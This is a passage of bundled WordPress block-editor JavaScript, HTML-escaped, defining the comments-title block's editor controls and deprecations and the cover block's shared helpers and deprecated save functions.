      return getSettings2().__experimentalDiscussionSettings ?? {};
    }, []);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    (0, import_element18.useEffect)(() =&gt; {
      if (isSiteEditor) {
        const nestedCommentsNumber = threadComments ? Math.min(threadCommentsDepth, 3) - 1 : 0;
        const topLevelCommentsNumber = pageComments ? commentsPerPage : 3;
        const commentsNumber = parseInt(nestedCommentsNumber) + parseInt(topLevelCommentsNumber);
        setCommentsCount(Math.min(commentsNumber, 3));
        return;
      }
      const currentPostId = postId;
      (0, import_api_fetch2.default)({
        path: (0, import_url4.addQueryArgs)(&quot;/wp/v2/comments&quot;, {
          post: postId,
          _fields: &quot;id&quot;
        }),
        method: &quot;HEAD&quot;,
        parse: false
      }).then((res) =&gt; {
        if (currentPostId === postId) {
          setCommentsCount(
            parseInt(res.headers.get(&quot;X-WP-Total&quot;))
          );
        }
      }).catch(() =&gt; {
        setCommentsCount(0);
      });
    }, [postId]);
    const blockControls = /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(import_block_editor60.BlockControls, { group: &quot;block&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(
      import_block_editor60.HeadingLevelDropdown,
      {
        value: level,
        options: levelOptions,
        onChange: (newLevel) =&gt; setAttributes({ level: newLevel })
      }
    ) });
    const inspectorControls = /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(import_block_editor60.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime217.jsxs)(
      import_components29.__experimentalToolsPanel,
      {
        label: (0, import_i18n45.__)(&quot;Settings&quot;),
        resetAll: () =&gt; {
          setAttributes({
            showPostTitle: true,
            showCommentsCount: true
          });
        },
        dropdownMenuProps,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(
            import_components29.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n45.__)(&quot;Show post title&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; !showPostTitle,
              onDeselect: () =&gt; setAttributes({ showPostTitle: true }),
              children: /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(
                import_components29.ToggleControl,
                {
                  label: (0, import_i18n45.__)(&quot;Show post title&quot;),
                  checked: showPostTitle,
                  onChange: (value) =&gt; setAttributes({ showPostTitle: value })
                }
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(
            import_components29.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n45.__)(&quot;Show comments count&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; !showCommentsCount,
              onDeselect: () =&gt; setAttributes({ showCommentsCount: true }),
              children: /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(
                import_components29.ToggleControl,
                {
                  label: (0, import_i18n45.__)(&quot;Show comments count&quot;),
                  checked: showCommentsCount,
                  onChange: (value) =&gt; setAttributes({ showCommentsCount: value })
                }
              )
            }
          )
        ]
      }
    ) });
    const postTitle = isSiteEditor ? (0, import_i18n45.__)(&quot;Post Title&quot;) : rawTitle;
    let placeholder2;
    if (showCommentsCount &amp;&amp; commentsCount !== void 0) {
      if (showPostTitle) {
        if (commentsCount === 1) {
          placeholder2 = (0, import_i18n45.sprintf)(
            /* translators: %s: Post title. */
            (0, import_i18n45.__)(&#039;One response to &quot;%s&quot;&#039;),
            postTitle
          );
        } else {
          placeholder2 = (0, import_i18n45.sprintf)(
            /* translators: 1: Number of comments, 2: Post title. */
            (0, import_i18n45._n)(
              &#039;%1$s response to &quot;%2$s&quot;&#039;,
              &#039;%1$s responses to &quot;%2$s&quot;&#039;,
              commentsCount
            ),
            commentsCount,
            postTitle
          );
        }
      } else if (commentsCount === 1) {
        placeholder2 = (0, import_i18n45.__)(&quot;One response&quot;);
      } else {
        placeholder2 = (0, import_i18n45.sprintf)(
          /* translators: %s: Number of comments. */
          (0, import_i18n45._n)(&quot;%s response&quot;, &quot;%s responses&quot;, commentsCount),
          commentsCount
        );
      }
    } else if (showPostTitle) {
      if (commentsCount === 1) {
        placeholder2 = (0, import_i18n45.sprintf)((0, import_i18n45.__)(&#039;Response to &quot;%s&quot;&#039;), postTitle);
      } else {
        placeholder2 = (0, import_i18n45.sprintf)((0, import_i18n45.__)(&#039;Responses to &quot;%s&quot;&#039;), postTitle);
      }
    } else if (commentsCount === 1) {
      placeholder2 = (0, import_i18n45.__)(&quot;Response&quot;);
    } else {
      placeholder2 = (0, import_i18n45.__)(&quot;Responses&quot;);
    }
    return /* @__PURE__ */ (0, import_jsx_runtime217.jsxs)(import_jsx_runtime217.Fragment, { children: [
      blockControls,
      inspectorControls,
      /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(TagName2, { ...blockProps, children: placeholder2 })
    ] });
  }

  // packages/block-library/build-module/comments-title/deprecated.mjs
  var v23 = {
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      },
      showPostTitle: {
        type: &quot;boolean&quot;,
        default: true
      },
      showCommentsCount: {
        type: &quot;boolean&quot;,
        default: true
      },
      level: {
        type: &quot;number&quot;,
        default: 2
      },
      levelOptions: {
        type: &quot;array&quot;
      }
    },
    supports: {
      anchor: true,
      align: true,
      html: false,
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true,
          __experimentalFontFamily: true,
          __experimentalFontStyle: true,
          __experimentalFontWeight: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    migrate: (oldAttributes) =&gt; {
      const { singleCommentLabel, multipleCommentsLabel, ...newAttributes } = oldAttributes;
      return migrate_text_align_default(newAttributes);
    },
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    },
    save: () =&gt; null
  };
  var v110 = {
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      },
      showPostTitle: {
        type: &quot;boolean&quot;,
        default: true
      },
      showCommentsCount: {
        type: &quot;boolean&quot;,
        default: true
      },
      level: {
        type: &quot;number&quot;,
        default: 2
      },
      levelOptions: {
        type: &quot;array&quot;
      },
      singleCommentLabel: {
        type: &quot;string&quot;
      },
      multipleCommentsLabel: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      align: true,
      html: false,
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true,
          __experimentalFontFamily: true,
          __experimentalFontStyle: true,
          __experimentalFontWeight: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    migrate: (oldAttributes) =&gt; {
      const { singleCommentLabel, multipleCommentsLabel, ...newAttributes } = oldAttributes;
      return migrate_text_align_default(newAttributes);
    },
    isEligible: ({ multipleCommentsLabel, singleCommentLabel }) =&gt; multipleCommentsLabel || singleCommentLabel,
    save: () =&gt; null
  };
  var deprecated_default13 = [v23, v110];

  // packages/block-library/build-module/comments-title/index.mjs
  var { name: name29 } = block_default30;
  var settings29 = {
    icon: title_default,
    edit: Edit12,
    deprecated: deprecated_default13,
    example: {}
  };
  var init29 = () =&gt; initBlock({ name: name29, metadata: block_default30, settings: settings29 });

  // packages/block-library/build-module/cover/index.mjs
  var cover_exports = {};
  __export(cover_exports, {
    init: () =&gt; init30,
    metadata: () =&gt; block_default31,
    name: () =&gt; name30,
    settings: () =&gt; settings30
  });
  var import_i18n54 = __toESM(require_i18n(), 1);
  var import_blocks23 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/cover/deprecated.mjs
  var import_blocks20 = __toESM(require_blocks(), 1);
  var import_block_editor61 = __toESM(require_block_editor(), 1);
  var import_i18n46 = __toESM(require_i18n(), 1);
  var import_compose14 = __toESM(require_compose(), 1);

  // packages/block-library/build-module/cover/shared.mjs
  var import_blob4 = __toESM(require_blob(), 1);
  var POSITION_CLASSNAMES = {
    &quot;top left&quot;: &quot;is-position-top-left&quot;,
    &quot;top center&quot;: &quot;is-position-top-center&quot;,
    &quot;top right&quot;: &quot;is-position-top-right&quot;,
    &quot;center left&quot;: &quot;is-position-center-left&quot;,
    &quot;center center&quot;: &quot;is-position-center-center&quot;,
    center: &quot;is-position-center-center&quot;,
    &quot;center right&quot;: &quot;is-position-center-right&quot;,
    &quot;bottom left&quot;: &quot;is-position-bottom-left&quot;,
    &quot;bottom center&quot;: &quot;is-position-bottom-center&quot;,
    &quot;bottom right&quot;: &quot;is-position-bottom-right&quot;
  };
  var IMAGE_BACKGROUND_TYPE = &quot;image&quot;;
  var VIDEO_BACKGROUND_TYPE = &quot;video&quot;;
  var EMBED_VIDEO_BACKGROUND_TYPE = &quot;embed-video&quot;;
  var COVER_MIN_HEIGHT = 50;
  var DEFAULT_FOCAL_POINT = { x: 0.5, y: 0.5 };
  var ALLOWED_MEDIA_TYPES2 = [&quot;image&quot;, &quot;video&quot;];
  function mediaPosition({ x: x2, y: y2 } = DEFAULT_FOCAL_POINT) {
    return `${Math.round(x2 * 100)}% ${Math.round(y2 * 100)}%`;
  }
  function dimRatioToClass(ratio) {
    return ratio === 50 || ratio === void 0 ? null : &quot;has-background-dim-&quot; + 10 * Math.round(ratio / 10);
  }
  function attributesFromMedia(media) {
    if (!media || !media.url &amp;&amp; !media.src) {
      return {
        url: void 0,
        id: void 0
      };
    }
    if ((0, import_blob4.isBlobURL)(media.url)) {
      media.type = (0, import_blob4.getBlobTypeByURL)(media.url);
    }
    let mediaType;
    if (media.media_type) {
      if (media.media_type === IMAGE_BACKGROUND_TYPE) {
        mediaType = IMAGE_BACKGROUND_TYPE;
      } else {
        mediaType = VIDEO_BACKGROUND_TYPE;
      }
    } else if (media.type &amp;&amp; (media.type === IMAGE_BACKGROUND_TYPE || media.type === VIDEO_BACKGROUND_TYPE)) {
      mediaType = media.type;
    } else {
      return;
    }
    return {
      url: media.url || media.src,
      id: media.id,
      alt: media?.alt,
      backgroundType: mediaType,
      ...mediaType === VIDEO_BACKGROUND_TYPE ? { hasParallax: void 0 } : {}
    };
  }
  function isContentPositionCenter(contentPosition) {
    return !contentPosition || contentPosition === &quot;center center&quot; || contentPosition === &quot;center&quot;;
  }
  function getPositionClassName(contentPosition) {
    if (isContentPositionCenter(contentPosition)) {
      return &quot;&quot;;
    }
    return POSITION_CLASSNAMES[contentPosition];
  }

  // packages/block-library/build-module/cover/deprecated.mjs
  var import_jsx_runtime218 = __toESM(require_jsx_runtime(), 1);
  function backgroundImageStyles(url) {
    return url ? { backgroundImage: `url(${url})` } : {};
  }
  function dimRatioToClassV1(ratio) {
    return ratio === 0 || ratio === 50 || !ratio ? null : &quot;has-background-dim-&quot; + 10 * Math.round(ratio / 10);
  }
  function migrateDimRatio(attributes2) {
    return {
      ...attributes2,
      dimRatio: !attributes2.url ? 100 : attributes2.dimRatio
    };
  }
  function migrateTag(attributes2) {
    if (!attributes2.tagName) {
      attributes2 = {
        ...attributes2,
        tagName: &quot;div&quot;
      };
    }
    return {
      ...attributes2
    };
  }
  var blockAttributes2 = {
    url: {
      type: &quot;string&quot;
    },
    id: {
      type: &quot;number&quot;
    },
    hasParallax: {
      type: &quot;boolean&quot;,
      default: false
    },
    dimRatio: {
      type: &quot;number&quot;,
      default: 50
    },
    overlayColor: {
      type: &quot;string&quot;
    },
    customOverlayColor: {
      type: &quot;string&quot;
    },
    backgroundType: {
      type: &quot;string&quot;,
      default: &quot;image&quot;
    },
    focalPoint: {
      type: &quot;object&quot;
    }
  };
  var v8ToV11BlockAttributes = {
    url: {
      type: &quot;string&quot;
    },
    id: {
      type: &quot;number&quot;
    },
    alt: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      selector: &quot;img&quot;,
      attribute: &quot;alt&quot;,
      default: &quot;&quot;
    },
    hasParallax: {
      type: &quot;boolean&quot;,
      default: false
    },
    isRepeated: {
      type: &quot;boolean&quot;,
      default: false
    },
    dimRatio: {
      type: &quot;number&quot;,
      default: 100
    },
    overlayColor: {
      type: &quot;string&quot;
    },
    customOverlayColor: {
      type: &quot;string&quot;
    },
    backgroundType: {
      type: &quot;string&quot;,
      default: &quot;image&quot;
    },
    focalPoint: {
      type: &quot;object&quot;
    },
    minHeight: {
      type: &quot;number&quot;
    },
    minHeightUnit: {
      type: &quot;string&quot;
    },
    gradient: {
      type: &quot;string&quot;
    },
    customGradient: {
      type: &quot;string&quot;
    },
    contentPosition: {
      type: &quot;string&quot;
    },
    isDark: {
      type: &quot;boolean&quot;,
      default: true
    },
    allowedBlocks: {
      type: &quot;array&quot;
    },
    templateLock: {
      type: [&quot;string&quot;, &quot;boolean&quot;],
      enum: [&quot;all&quot;, &quot;insert&quot;, false]
    }
  };
  var v12toV13BlockAttributes = {
    ...v8ToV11BlockAttributes,
    useFeaturedImage: {
      type: &quot;boolean&quot;,
      default: false
    },
    tagName: {
      type: &quot;string&quot;,
      default: &quot;div&quot;
    }
  };
  var v14BlockAttributes = {
    ...v12toV13BlockAttributes,
    isUserOverlayColor: {
      type: &quot;boolean&quot;
    },
    sizeSlug: {
      type: &quot;string&quot;
    },
    alt: {
      type: &quot;string&quot;,
      default: &quot;&quot;
    }
  };
  var v7toV11BlockSupports = {
    anchor: true,
    align: true,
    html: false,
    spacing: {
      padding: true,
      __experimentalDefaultControls: {
        padding: true
      }
    },
    color: {
      __experimentalDuotone: &quot;&gt; .wp-block-cover__image-background, &gt; .wp-block-cover__video-background&quot;,
      text: false,
      background: false
    }
  };
  var v12BlockSupports = {
    ...v7toV11BlockSupports,
    spacing: {
      padding: true,
      margin: [&quot;top&quot;, &quot;bottom&quot;],
      blockGap: true,
      __experimentalDefaultControls: {
        padding: true,
        blockGap: true
      }
    },
    __experimentalBorder: {
      color: true,
      radius: true,
      style: true,
      width: true,
      __experimentalDefaultControls: {
        color: true,
        radius: true,
        style: true,
        width: true
      }
    },
    color: {
      __experimentalDuotone: &quot;&gt; .wp-block-cover__image-background, &gt; .wp-block-cover__video-background&quot;,
      heading: true,
      text: true,
      background: false,
      __experimentalSkipSerialization: [&quot;gradients&quot;],
      enableContrastChecker: false
    },
    typography: {
      fontSize: true,
      lineHeight: true,
      __experimentalFontFamily: true,
      __experimentalFontWeight: true,
      __experimentalFontStyle: true,
      __experimentalTextTransform: true,
      __experimentalTextDecoration: true,
      __experimentalLetterSpacing: true,
      __experimentalDefaultControls: {
        fontSize: true
      }
    },
    layout: {
      allowJustification: false
    }
  };
  var v14BlockSupports = {
    ...v12BlockSupports,
    shadow: true,
    dimensions: {
      aspectRatio: true
    },
    interactivity: {
      clientNavigation: true
    }
  };
  var v142 = {
    attributes: v14BlockAttributes,
    supports: v14BlockSupports,
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        contentPosition,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        useFeaturedImage,
        hasParallax,
        isDark: isDark2,
        isRepeated,
        overlayColor,
        url,
        alt,
        id,
        minHeight: minHeightProp,
        minHeightUnit,
        tagName: Tag,
        sizeSlug
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        &quot;background-color&quot;,
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const minHeight = minHeightProp &amp;&amp; minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
      const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
      const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
      const isImgElement = !(hasParallax || isRepeated);
      const style2 = {
        minHeight: minHeight || void 0
      };
      const bgStyle = {
        backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
        background: customGradient ? customGradient : void 0
      };
      const objectPosition = (
        // prettier-ignore
        focalPoint &amp;&amp; isImgElement ? mediaPosition(focalPoint) : void 0
      );
      const backgroundImage = url ? `url(${url})` : void 0;
      const backgroundPosition = mediaPosition(focalPoint);
      const classes = clsx_default(
        {
          &quot;is-light&quot;: !isDark2,
          &quot;has-parallax&quot;: hasParallax,
          &quot;is-repeated&quot;: isRepeated,
          &quot;has-custom-content-position&quot;: !isContentPositionCenter(contentPosition)
        },
        getPositionClassName(contentPosition)
      );
      const imgClasses = clsx_default(
        &quot;wp-block-cover__image-background&quot;,
        id ? `wp-image-${id}` : null,
        {
          [`size-${sizeSlug}`]: sizeSlug,
          &quot;has-parallax&quot;: hasParallax,
          &quot;is-repeated&quot;: isRepeated
        }
      );
      const gradientValue = gradient || customGradient;
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)(Tag, { ...import_block_editor61.useBlockProps.save({ className: classes, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;span&quot;,
          {
            &quot;aria-hidden&quot;: &quot;true&quot;,
            className: clsx_default(
              &quot;wp-block-cover__background&quot;,
              overlayColorClass,
              dimRatioToClass(dimRatio),
              {
                &quot;has-background-dim&quot;: dimRatio !== void 0,
                // For backwards compatibility. Former versions of the Cover Block applied
                // `.wp-block-cover__gradient-background` in the presence of
                // media, a gradient and a dim.
                &quot;wp-block-cover__gradient-background&quot;: url &amp;&amp; gradientValue &amp;&amp; dimRatio !== 0,
                &quot;has-background-gradient&quot;: gradientValue,
                [gradientClass]: gradientClass
              }
            ),
            style: bgStyle
          }
        ),
        !useFeaturedImage &amp;&amp; isImageBackground &amp;&amp; url &amp;&amp; (isImgElement ? /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;img&quot;,
          {
            className: imgClasses,
            alt,
            src: url,
            style: { objectPosition },
            &quot;data-object-fit&quot;: &quot;cover&quot;,
            &quot;data-object-position&quot;: objectPosition
          }
        ) : /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;div&quot;,
          {
            role: alt ? &quot;img&quot; : void 0,
            &quot;aria-label&quot;: alt ? alt : void 0,
            className: imgClasses,
            style: { backgroundPosition, backgroundImage }
          }
        )),
        isVideoBackground &amp;&amp; url &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;video&quot;,
          {
            className: clsx_default(
              &quot;wp-block-cover__video-background&quot;,
              &quot;intrinsic-ignore&quot;
            ),
            autoPlay: true,
            muted: true,
            loop: true,
            playsInline: true,
            src: url,
            style: { objectPosition },
            &quot;data-object-fit&quot;: &quot;cover&quot;,
            &quot;data-object-position&quot;: objectPosition
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;div&quot;,
          {
            ...import_block_editor61.useInnerBlocksProps.save({
              className: &quot;wp-block-cover__inner-container&quot;
            })
          }
        )
      ] });
    }
  };
  var v132 = {
    attributes: v12toV13BlockAttributes,
    supports: v12BlockSupports,
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        contentPosition,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        useFeaturedImage,
        hasParallax,
        isDark: isDark2,
        isRepeated,
        overlayColor,
        url,
        alt,
        id,
        minHeight: minHeightProp,
        minHeightUnit,
        tagName: Tag
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        &quot;background-color&quot;,
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const minHeight = minHeightProp &amp;&amp; minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
      const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
      const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
      const isImgElement = !(hasParallax || isRepeated);
      const style2 = {
        minHeight: minHeight || void 0
      };
      const bgStyle = {
        backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
        background: customGradient ? customGradient : void 0
      };
      const objectPosition = (
        // prettier-ignore
        focalPoint &amp;&amp; isImgElement ? mediaPosition(focalPoint) : void 0
      );
      const backgroundImage = url ? `url(${url})` : void 0;
      const backgroundPosition = mediaPosition(focalPoint);
      const classes = clsx_default(
        {
          &quot;is-light&quot;: !isDark2,
          &quot;has-parallax&quot;: hasParallax,
          &quot;is-repeated&quot;: isRepeated,
          &quot;has-custom-content-position&quot;: !isContentPositionCenter(contentPosition)
        },
        getPositionClassName(contentPosition)
      );
      const imgClasses = clsx_default(
        &quot;wp-block-cover__image-background&quot;,
        id ? `wp-image-${id}` : null,
        {
          &quot;has-parallax&quot;: hasParallax,
          &quot;is-repeated&quot;: isRepeated
        }
      );
      const gradientValue = gradient || customGradient;
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)(Tag, { ...import_block_editor61.useBlockProps.save({ className: classes, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;span&quot;,
          {
            &quot;aria-hidden&quot;: &quot;true&quot;,
            className: clsx_default(
              &quot;wp-block-cover__background&quot;,
              overlayColorClass,
              dimRatioToClass(dimRatio),
              {
                &quot;has-background-dim&quot;: dimRatio !== void 0,
                // For backwards compatibility. Former versions of the Cover Block applied
                // `.wp-block-cover__gradient-background` in the presence of
                // media, a gradient and a dim.
                &quot;wp-block-cover__gradient-background&quot;: url &amp;&amp; gradientValue &amp;&amp; dimRatio !== 0,
                &quot;has-background-gradient&quot;: gradientValue,
                [gradientClass]: gradientClass
              }
            ),
            style: bgStyle
          }
        ),
        !useFeaturedImage &amp;&amp; isImageBackground &amp;&amp; url &amp;&amp; (isImgElement ? /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;img&quot;,
          {
            className: imgClasses,
            alt,
            src: url,
            style: { objectPosition },
            &quot;data-object-fit&quot;: &quot;cover&quot;,
            &quot;data-object-position&quot;: objectPosition
          }
        ) : /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;div&quot;,
          {
            role: &quot;img&quot;,
            className: imgClasses,
            style: { backgroundPosition, backgroundImage }
          }
        )),
        isVideoBackground &amp;&amp; url &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;video&quot;,
          {
            className: clsx_default(
              &quot;wp-block-cover__video-background&quot;,
              &quot;intrinsic-ignore&quot;
            ),
            autoPlay: true,
            muted: true,
            loop: true,
            playsInline: true,
            src: url,
            style: { objectPosition },
            &quot;data-object-fit&quot;: &quot;cover&quot;,
            &quot;data-object-position&quot;: objectPosition
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;div&quot;,
          {
            ...import_block_editor61.useInnerBlocksProps.save({
              className: &quot;wp-block-cover__inner-container&quot;
            })
          }
        )
      ] });
    }
  };
  var v122 = {
    attributes: v12toV13BlockAttributes,
    supports: v12BlockSupports,
    isEligible(attributes2) {
      return (attributes2.customOverlayColor !== void 0 || attributes2.overlayColor !== void 0) &amp;&amp; attributes2.isUserOverlayColor === void 0;
    },
    migrate(attributes2) {
      return {
        ...attributes2,
        isUserOverlayColor: true
      };
    },
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        contentPosition,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        useFeaturedImage,
        hasParallax,
        isDark: isDark2,
        isRepeated,
        overlayColor,
        url,
        alt,
        id,
        minHeight: minHeightProp,
        minHeightUnit,
        tagName: Tag
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        &quot;background-color&quot;,
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const minHeight = minHeightProp &amp;&amp; minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
      const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
      const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
      const isImgElement = !(hasParallax || isRepeated);
      const style2 = {
        minHeight: minHeight || void 0
      };
      const bgStyle = {
        backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
        background: customGradient ? customGradient : void 0
      };
      const objectPosition = (
        // prettier-ignore
        focalPoint &amp;&amp; isImgElement ? mediaPosition(focalPoint) : void 0
      );
      const backgroundImage = url ? `url(${url})` : void 0;
      const backgroundPosition = mediaPosition(focalPoint);
      const classes = clsx_default(
        {
          &quot;is-light&quot;: !isDark2,
          &quot;has-parallax&quot;: hasParallax,
          &quot;is-repeated&quot;: isRepeated,
          &quot;has-custom-content-position&quot;: !isContentPositionCenter(contentPosition)
        },
        getPositionClassName(contentPosition)
      );
      const imgClasses = clsx_default(
        &quot;wp-block-cover__image-background&quot;,
        id ? `wp-image-${id}` : null,
        {
          &quot;has-parallax&quot;: hasParallax,
          &quot;is-repeated&quot;: isRepeated
        }
      );
      const gradientValue = gradient || customGradient;
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)(Tag, { ...import_block_editor61.useBlockProps.save({ className: classes, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;span&quot;,
          {
            &quot;aria-hidden&quot;: &quot;true&quot;,
            className: clsx_default(
              &quot;wp-block-cover__background&quot;,
              overlayColorClass,
              dimRatioToClass(dimRatio),
              {
                &quot;has-background-dim&quot;: dimRatio !== void 0,
                // For backwards compatibility. Former versions of the Cover Block applied
                // `.wp-block-cover__gradient-background` in the presence of
                // media, a gradient and a dim.
                &quot;wp-block-cover__gradient-background&quot;: url &amp;&amp; gradientValue &amp;&amp; dimRatio !== 0,
                &quot;has-background-gradient&quot;: gradientValue,
                [gradientClass]: gradientClass
              }
            ),
            style: bgStyle
          }
        ),
        !useFeaturedImage &amp;&amp; isImageBackground &amp;&amp; url &amp;&amp; (isImgElement ? /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;img&quot;,
          {
            className: imgClasses,
            alt,
            src: url,
            style: { objectPosition },
            &quot;data-object-fit&quot;: &quot;cover&quot;,
            &quot;data-object-position&quot;: objectPosition
          }
        ) : /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;div&quot;,
          {
            role: &quot;img&quot;,
            className: imgClasses,
            style: { backgroundPosition, backgroundImage }
          }
        )),
        isVideoBackground &amp;&amp; url &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;video&quot;,
          {
            className: clsx_default(
              &quot;wp-block-cover__video-background&quot;,
              &quot;intrinsic-ignore&quot;
            ),
            autoPlay: true,
            muted: true,
            loop: true,
            playsInline: true,
            src: url,
            style: { objectPosition },
            &quot;data-object-fit&quot;: &quot;cover&quot;,
            &quot;data-object-position&quot;: objectPosition
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;div&quot;,
          {
            ...import_block_editor61.useInnerBlocksProps.save({
              className: &quot;wp-block-cover__inner-container&quot;
            })
          }
        )
      ] });
    }
  };
  var v112 = {
    attributes: v8ToV11BlockAttributes,
    supports: v7toV11BlockSupports,
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        contentPosition,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        useFeaturedImage,
        hasParallax,
        isDark: isDark2,
        isRepeated,
        overlayColor,
        url,
        alt,
        id,
        minHeight: minHeightProp,
        minHeightUnit
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        &quot;background-color&quot;,
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const minHeight = minHeightProp &amp;&amp; minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
      const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
      const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
      const isImgElement = !(hasParallax || isRepeated);
      const style2 = {
        minHeight: minHeight || void 0
      };
      const bgStyle = {
        backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
        background: customGradient ? customGradient : void 0
      };
      const objectPosition = (
        // prettier-ignore
        focalPoint &amp;&amp; isImgElement ? mediaPosition(focalPoint) : void 0
      );
      const backgroundImage = url ? `url(${url})` : void 0;
      const backgroundPosition = mediaPosition(focalPoint);
      const classes = clsx_default(
        {
          &quot;is-light&quot;: !isDark2,
          &quot;has-parallax&quot;: hasParallax,
          &quot;is-repeated&quot;: isRepeated,
          &quot;has-custom-content-position&quot;: !isContentPositionCenter(contentPosition)
        },
        getPositionClassName(contentPosition)
      );
      const imgClasses = clsx_default(
        &quot;wp-block-cover__image-background&quot;,
        id ? `wp-image-${id}` : null,
        {
          &quot;has-parallax&quot;: hasParallax,
          &quot;is-repeated&quot;: isRepeated
        }
      );
      const gradientValue = gradient || customGradient;
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)(&quot;div&quot;, { ...import_block_editor61.useBlockProps.save({ className: classes, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          &quot;span&quot;,
          {
            &quot;aria-hidden&quot;: &quot;true&quot;,
            className: clsx_default(
              &quot;wp-block-cover__background&quot;,
              overlayColorClass,
              dimRatioToClass(dimRatio),
              {
                &quot;has-background-dim&quot;: dimRatio !== void 0,
                // For backwards compatibility. Former versions of the Cover Block applied
                // `.wp-block-cover__gradient-background` in the presence of
                // media, a gradient and a dim.
